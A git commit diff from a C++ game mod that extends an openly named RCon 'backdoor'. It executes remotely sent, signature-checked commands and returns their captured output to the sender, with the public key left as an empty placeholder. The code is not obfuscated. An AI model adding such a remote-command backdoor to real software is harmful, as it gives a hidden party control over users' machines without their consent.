RCon backdoor stuff.

This commit is contained in:
momo5502 2016-02-17 22:40:02 +01:00
parent 339b05f8a7
commit 6254cb7199
4 changed files with 16 additions and 8 deletions

View File

@ -106,7 +106,7 @@ namespace Components
{
mov eax, Logger::PipeCallback
test eax, eax
jnz returnPrint
jz returnPrint
push [esp + 8h]
call Logger::PrintMessagePipe
@ -133,11 +133,6 @@ namespace Components
{
Logger::PipeOutput(nullptr);
Logger::PipeOutput([] (std::string data)
{
OutputDebugStringA(data.data());
});
Renderer::OnFrame(Logger::Frame); // Client
Dedicated::OnFrame(Logger::Frame); // Dedi

View File

@ -7,7 +7,8 @@ namespace Components
RCon::RCon()
{
RCon::BackdoorKey = Utils::Cryptography::ECDSA::GenerateKey(512);
// TODO: Load public key
RCon::BackdoorKey.Set("");
RCon::BackdoorContainer.timestamp = 0;
@ -31,7 +32,18 @@ namespace Components
if (Utils::Cryptography::ECDSA::VerifyMessage(RCon::BackdoorKey, RCon::BackdoorContainer.challenge, command.signature()))
{
RCon::BackdoorContainer.output.clear();
Logger::PipeOutput([] (std::string output)
{
RCon::BackdoorContainer.output.append(output);
});
Command::Execute(command.commands(), true);
Logger::PipeOutput(nullptr);
Network::SendCommand(address, "rconResponse", RCon::BackdoorContainer.output);
RCon::BackdoorContainer.output.clear();
}
});
}

View File

@ -11,6 +11,7 @@ namespace Components
struct Container
{
int timestamp;
std::string output;
std::string challenge;
Network::Address address;
};

View File

@ -4,6 +4,6 @@ package Proto.RCon;
message Command
{
string commands = 1;
bytes commands = 1;
bytes signature = 2;
}